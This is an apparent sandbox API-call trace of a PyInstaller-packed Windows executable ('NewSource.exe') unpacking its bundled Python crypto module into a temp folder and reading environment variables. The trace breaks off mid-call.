WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", cchWideChar=-1, lpMultiByteStr=0x54dc40, cbMultiByte=4096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpUsedDefaultChar=0x0) returned 45 [0034.330] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x53f258 | out: hHeap=0x530000) returned 1 [0034.330] GetLastError () returned 0x2 [0034.330] SetLastError (dwErrCode=0x2) [0034.330] GetLastError () returned 0x2 [0034.330] SetLastError (dwErrCode=0x2) [0034.330] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.330] GetLastError () returned 0x2 [0034.330] SetLastError (dwErrCode=0x2) [0034.330] GetLastError () returned 0x2 [0034.330] SetLastError (dwErrCode=0x2) [0034.330] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto", lpFilePart=0x0) returned 0x33 [0034.330] GetLastError () returned 0x2 [0034.330] SetLastError (dwErrCode=0x2) [0034.331] GetLastError () returned 0x2 [0034.331] SetLastError (dwErrCode=0x2) [0034.331] GetLastError () returned 0x2 [0034.331] SetLastError (dwErrCode=0x2) [0034.331] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), lpSecurityAttributes=0x0) returned 1 [0034.331] GetLastError () returned 0x2 [0034.331] SetLastError (dwErrCode=0x2) [0034.331] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.331] GetLastError () returned 0x2 [0034.331] SetLastError (dwErrCode=0x2) [0034.331] GetLastError () returned 0x2 [0034.331] SetLastError (dwErrCode=0x2) [0034.331] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher", lpFilePart=0x0) returned 0x3a [0034.331] GetLastError () returned 0x2 [0034.331] SetLastError (dwErrCode=0x2) [0034.331] GetLastError () returned 0x2 [0034.331] SetLastError (dwErrCode=0x2) [0034.331] GetLastError () returned 0x2 [0034.331] SetLastError (dwErrCode=0x2) [0034.331] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), lpSecurityAttributes=0x0) returned 1 [0034.332] GetLastError () returned 0x2 [0034.332] SetLastError (dwErrCode=0x2) [0034.332] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_ARC4.pyd") returned 69 [0034.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_ARC4.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_arc4.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.332] GetLastError () returned 0x2 [0034.332] SetLastError (dwErrCode=0x2) [0034.332] GetLastError () returned 0x2 [0034.332] SetLastError (dwErrCode=0x2) [0034.332] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_ARC4.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_ARC4.pyd", lpFilePart=0x0) returned 0x44 [0034.332] GetLastError () returned 0x2 [0034.332] SetLastError (dwErrCode=0x2) [0034.332] GetLastError () returned 0x2 [0034.332] SetLastError (dwErrCode=0x2) [0034.332] GetLastError () returned 0x2 [0034.332] SetLastError (dwErrCode=0x2) [0034.332] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_ARC4.pyd") returned 69 [0034.332] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_ARC4.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_arc4.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.332] GetFileType (hFile=0x10c) returned 0x1 [0034.332] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.333] WriteFile (in: hFile=0x10c, lpBuffer=0x55ce78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x55ce78*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.334] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x54fc58 [0034.334] WriteFile (in: hFile=0x10c, lpBuffer=0x54fc58*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x54fc58*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.334] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fc58 | out: hHeap=0x530000) returned 1 [0034.334] CloseHandle (hObject=0x10c) returned 1 [0034.335] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55ce78 | out: hHeap=0x530000) returned 1 [0034.335] htonl (hostlong=0x30000000) returned 0x30 [0034.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.335] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.335] GetFileType (hFile=0x10c) returned 0x1 [0034.335] htonl (hostlong=0x645c0000) returned 0x5c64 [0034.335] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x50c64, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.335] htonl (hostlong=0xf0000) returned 0xf00 [0034.336] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf00) returned 0x54fc58 [0034.336] htonl (hostlong=0xf0000) returned 0xf00 [0034.336] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55c268 [0034.336] ReadFile (in: hFile=0x10c, lpBuffer=0x55c268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55c268*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.336] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.336] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e00) returned 0x55d270 [0034.336] htonl (hostlong=0xf0000) returned 0xf00 [0034.336] htonl (hostlong=0x1e0000) returned 0x1e00 [0034.336] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x55f078 [0034.336] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55f078 | out: hHeap=0x530000) returned 1 [0034.336] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fc58 | out: hHeap=0x530000) returned 1 [0034.336] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55c268 | out: hHeap=0x530000) returned 1 [0034.336] CloseHandle (hObject=0x10c) returned 1 [0034.336] GetLastError () returned 0x0 [0034.336] SetLastError (dwErrCode=0x0) [0034.336] GetLastError () returned 0x0 [0034.336] SetLastError (dwErrCode=0x0) [0034.336] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.336] GetFileType (hFile=0x10c) returned 0x1 [0034.336] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.336] LoadLibraryExW (lpLibFileName="api-ms-win-core-file-l2-1-1", hFile=0x0, dwFlags=0x800) returned 0x74ea0000 [0034.337] GetProcAddress (hModule=0x74ea0000, lpProcName="GetFileInformationByHandleEx") returned 0x74f85e80 [0034.337] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.337] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.337] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.337] GetEnvironmentStringsW () returned 0x54fc58* [0034.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x565) returned 0x55cb38 [0034.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x55cb38, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0034.337] FreeEnvironmentStringsW (penv=0x54fc58) returned 1 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x94) returned 0x53f208 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1f) returned 0x53ade0 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x541f30 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x37) returned 0x53f2a8 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3c) returned 0x545640 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x31) returned 0x53f2e8 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x14) returned 0x543c68 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x541ed0 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xd) returned 0x5483b0 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x543988 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2b) returned 0x53f998 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x15) returned 0x543ba8 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x543ac8 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x22) returned 0x542080 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe) returned 0x548410 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xc1) returned 0x55d0a8 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3e) returned 0x545298 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1b) returned 0x53ae58 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1d) returned 0x53aea8 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x54b9b8 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543a08 [0034.337] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x18) returned 0x543b48 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1b) returned 0x54ff58 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x5421d0 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x29) returned 0x53f618 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1e) returned 0x54ffa8 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6b) returned 0x55d178 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x543bc8 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xf) returned 0x548398 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x16) returned 0x543ae8 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x541e40 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x27) returned 0x5420b0 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543be8 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x21) returned 0x542050 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x10) returned 0x5483e0 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1c) returned 0x54fda0 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543c08 [0034.338] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cb38 | out: hHeap=0x530000) returned 1 [0034.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1f) returned 0x54ff08 [0034.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x54ff08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x94) returned 0x55cb38 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1f) returned 0x54fd28 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x5421a0 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x37) returned 0x54ba08 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3c) returned 0x545958 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x31) returned 0x55d1f0 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x14) returned 0x5439e8 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x541e70 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xd) returned 0x55cf08 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x543b28 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x2b) returned 0x53f650 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x15) returned 0x543c28 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x543a48 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x22) returned 0x541ea0 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe) returned 0x55cf50 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xc1) returned 0x550460 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3e) returned 0x545688 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1b) returned 0x54fd00 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1d) returned 0x54fdc8 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x48) returned 0x55cfe0 [0034.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543928 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x18) returned 0x543c88 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1b) returned 0x54fd78 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x541f00 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x29) returned 0x53f688 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1e) returned 0x54fff8 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x6b) returned 0x55d030 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x17) returned 0x543908 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xf) returned 0x55cf68 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x16) returned 0x5438e8 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x5420e0 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x27) returned 0x542140 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543a28 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x21) returned 0x541f60 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x10) returned 0x55cf20 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1c) returned 0x5500e8 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x12) returned 0x543aa8 [0034.339] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54fd28 | out: hHeap=0x530000) returned 1 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\FD1HVy\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x28) returned 0x541f90 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\FD1HVy\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x541f90, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\FD1HVy\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 40 [0034.339] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5421a0 | out: hHeap=0x530000) returned 1 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x37) returned 0x55d230 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x55d230, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0034.339] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54ba08 | out: hHeap=0x530000) returned 1 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x3c) returned 0x5457a8 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x5457a8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0034.339] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545958 | out: hHeap=0x530000) returned 1 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x31) returned 0x55f3e0 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x55f3e0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0034.339] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d1f0 | out: hHeap=0x530000) returned 1 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=NQDPDE", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.339] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x14) returned 0x543b68 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=NQDPDE", cchWideChar=-1, lpMultiByteStr=0x543b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=NQDPDE", lpUsedDefaultChar=0x0) returned 20 [0034.339] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5439e8 | out: hHeap=0x530000) returned 1 [0034.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\WINDOWS\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x24) returned 0x5421a0 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\WINDOWS\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x5421a0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\WINDOWS\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x541e70 | out: hHeap=0x530000) returned 1 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xd) returned 0x55cf98 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x55cf98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0034.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cf08 | out: hHeap=0x530000) returned 1 [0034.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 